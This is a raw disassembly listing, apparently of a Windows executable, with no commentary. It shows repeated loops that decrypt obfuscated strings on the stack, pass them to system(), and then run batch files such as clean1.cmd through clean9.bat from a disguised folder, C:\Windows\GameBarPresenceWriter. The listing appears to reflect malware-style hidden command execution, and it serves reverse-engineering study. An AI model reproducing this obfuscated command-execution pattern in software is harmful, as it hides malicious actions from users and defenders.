movdqa xmm13, xmmword [str.1111111111111111]
movsd xmm6, qword [0x14036ea38]
mov r14d, 1
jmp 0x1402158d6
mov eax, dword [0x140456050]
cmp eax, 5
jne 0x1402153a2
cmp byte [0x14045565c], 0
jne 0x140215d75
cmp byte [0x1404560f4], 0
je 0x140214707
movups xmm0, xmmword [0x140369780]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140369790]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403697a0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1403697b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1403697c0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1403697d0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1403697e0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1403697e8]
mov dword [rbp - 0x48], eax
mov r8d, esi
movdqa xmm6, xmmword [str.1111111111111111]
cmp r12d, 2
jl 0x140213072
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140212f81
cmp r8d, 0x6c
jge 0x1402130b0
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140213080
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean1.cmd
lea rcx, [rbp + 0x1a8]
call fcn.140201530
nop
lea rcx, [rbp + 0x1a8]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403684f0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140368500]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140368510]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140368520]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140368530]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140368540]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140368550]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140368558]
mov dword [rbp - 0x48], eax
mov r8d, esi
cmp r12d, 2
jl 0x140213251
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140213160
cmp r8d, 0x6c
jge 0x140213290
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140213260
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean2.bat
lea rcx, [rbp + 0x1c8]
call fcn.140201530
nop
lea rcx, [rbp + 0x1c8]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140369440]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140369450]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140369460]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140369470]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140369480]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140369490]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1403694a0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1403694a8]
mov dword [rbp - 0x48], eax
mov r8d, esi
cmp r12d, 2
jl 0x140213431
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140213340
cmp r8d, 0x6c
jge 0x140213470
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140213440
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean3.bat
lea rcx, [rbp + 0x168]
call fcn.140201530
nop
lea rcx, [rbp + 0x168]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403687e0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403687f0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140368800]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140368810]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140368820]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140368830]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140368840]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140368848]
mov dword [rbp - 0x48], eax
mov r8d, esi
cmp r12d, 2
jl 0x140213611
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140213520
cmp r8d, 0x6c
jge 0x140213650
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140213620
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean4.bat
lea rcx, [rbp + 0x128]
call fcn.140201530
nop
lea rcx, [rbp + 0x128]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140368a30]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140368a40]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140368a50]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140368a60]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140368a70]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140368a80]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140368a90]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140368a98]
mov dword [rbp - 0x48], eax
mov r8d, esi
cmp r12d, 2
jl 0x1402137f1
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140213700
cmp r8d, 0x6c
jge 0x140213830
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140213800
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean5.bat
lea rcx, [rbp + 0x100]
call fcn.140201530
nop
lea rcx, [rbp + 0x100]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403692d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403692e0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403692f0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140369300]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140369310]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140369320]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140369330]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140369338]
mov dword [rbp - 0x48], eax
mov r8d, esi
cmp r12d, 2
jl 0x1402139d1
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x1402138e0
cmp r8d, 0x6c
jge 0x140213a10
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x1402139e0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean7.bat
lea rcx, [rbp + 0x148]
call fcn.140201530
nop
lea rcx, [rbp + 0x148]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403696c0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403696d0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403696e0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1403696f0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140369700]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140369710]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140369720]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140369728]
mov dword [rbp - 0x48], eax
mov r8d, esi
cmp r12d, 2
jl 0x140213bb1
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140213ac0
cmp r8d, 0x6c
jge 0x140213bf0
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140213bc0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriterclean9.bat
lea rcx, [rbp + 0x188]
call fcn.140201530
lea rcx, [rbp + 0x188]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0xf0], 3
lea rcx, [rbp + 0xf0]
call fcn.14021c5c0
movups xmm0, xmmword [0x1403687a8]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403687b8]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403687c8]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x140213d6c
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140213c81
jmp 0x140213da3
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140213d71
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140368388]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140368398]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403683a8]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x140213eeb
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140213e00
jmp 0x140213f22
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140213ef0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403695b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403695c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403695d0]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x14021406b
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140213f80
jmp 0x1402140a2
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140214070
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403694b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403694c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403694d0]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x1402141eb
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
